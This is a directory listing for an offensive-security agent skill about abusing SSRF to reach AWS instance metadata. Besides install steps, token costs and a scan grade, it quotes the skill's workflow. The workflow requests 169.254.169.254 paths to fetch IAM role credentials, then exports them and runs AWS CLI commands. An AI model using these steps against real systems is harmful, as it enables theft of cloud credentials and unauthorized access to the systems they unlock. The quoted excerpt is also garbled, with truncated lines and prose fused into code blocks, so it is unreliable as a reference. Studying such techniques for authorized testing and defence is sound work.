ssrf-aws-metadata-abuse

ssrf-aws-metadata-abuse is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 62 tokens per session (1,182 once invoked), scanned B, original, Apache-2.0.

A security-testing procedure that uses a Server-Side Request Forgery vulnerability to query AWS instance metadata. SSRF is a flaw that makes a server fetch a URL chosen by a user; AWS instance metadata can expose temporary credentials assigned to that server.

In plain words
What is it for?
Testing SSRF in AWS-hosted applications, checking access to the Instance Metadata Service, validating exposure of IAM role credentials, and documenting cloud-compromise risk.
Why use it?
It helps demonstrate that a seemingly limited web flaw could expose cloud login credentials and allow access beyond the original application. This shows the real impact of unsafe server-side URL fetching.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is > - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain pat.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Testing SSRF in AWS-hosted applications, checking access to the Instance Metadata Service, validating exposure of IAM role credentials, and documenting cloud-compromise risk.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/ssrf-aws-metadata-abuse

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

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README.md
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Your own site
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<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-aws-metadata-abuse"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf-aws-metadata-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 62 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,182 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00062 $0.01182
Opus 5 $0.00031 $0.00591
Sonnet 5 $0.00012 $0.00236
Haiku 4.5 $0.00006 $0.00118

Measured 8d ago against content hash fe35de787c66, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade B, and why

ssrf-aws-metadata-abuse scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

{"url": "http://169.254.169.254/latest/meta-data/"}

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

skills/penetration-testing/cloud-security/ssrf-aws-metadata-abuse/SKILL.md · 140 lines

How it starts

The opening of the file, as written. The whole thing — 140 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SSRF to AWS Metadata Abuse

When to Use

  • When you discover an SSRF vulnerability (a feature that fetches external URLs based on user input) in an application that you suspect or know is hosted on Amazon Web Services (AWS).
  • To demonstrate the critical impact of SSRF by escalating from a web vulnerability to full cloud environment compromise via IAM credential theft.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying SSRF

# Concept: The application takes a URL ```

### Phase 2: Querying the AWS IMDS (Instance Metadata Service)

```http
# Concept: AWS instances 1. IMDSv1 (The older, easily exploitable POST /api/fetch-image HTTP/1.1
Host: target.com
{"url": "http://169.254.169.254/latest/meta-data/"}

# Target POST /api/fetch-image HTTP/1.1
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

# Response HTTP/1.1 200 OK
ec2-role-name

Phase 3: Stealing IAM Credentials

# 1. Fetch POST /api/fetch-image HTTP/1.1
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}

# Response {
  "Code" : "Success",
  "LastUpdated" : "2023-10-27T01:02:03Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA...",
  "SecretAccessKey" : "...",
  "Token" : "IQoJb3JpZ2lu...",
  "Expiration" : "2023-10-27T07:15:30Z"
}

Phase 4: Abusing the Credentials

# export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2lu..."

# aws sts get-caller-identity
aws s3 ls
Decision Point 🔀
flowchart TD
    A[Discover SSRF ] --> B{Try IMDS ]}
    B -->|Success| C[Extract ]
    B -->|Timeout/Block| D[Attempt ]
    C --> E[Exploit ]

🔵 Blue Team Detection & Defense

  • Enforce IMDSv2: Network Segmentation/Firewalls: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ssrf Aws Metadata Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Read the full file on GitHub · 140 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 140 lines · 62 tokens per session scan B fe35de787c66

Subscribe to this mod's changes

ssrf-aws-metadata-abuse is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 62 tokens to every session and 1,182 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 1 finding (cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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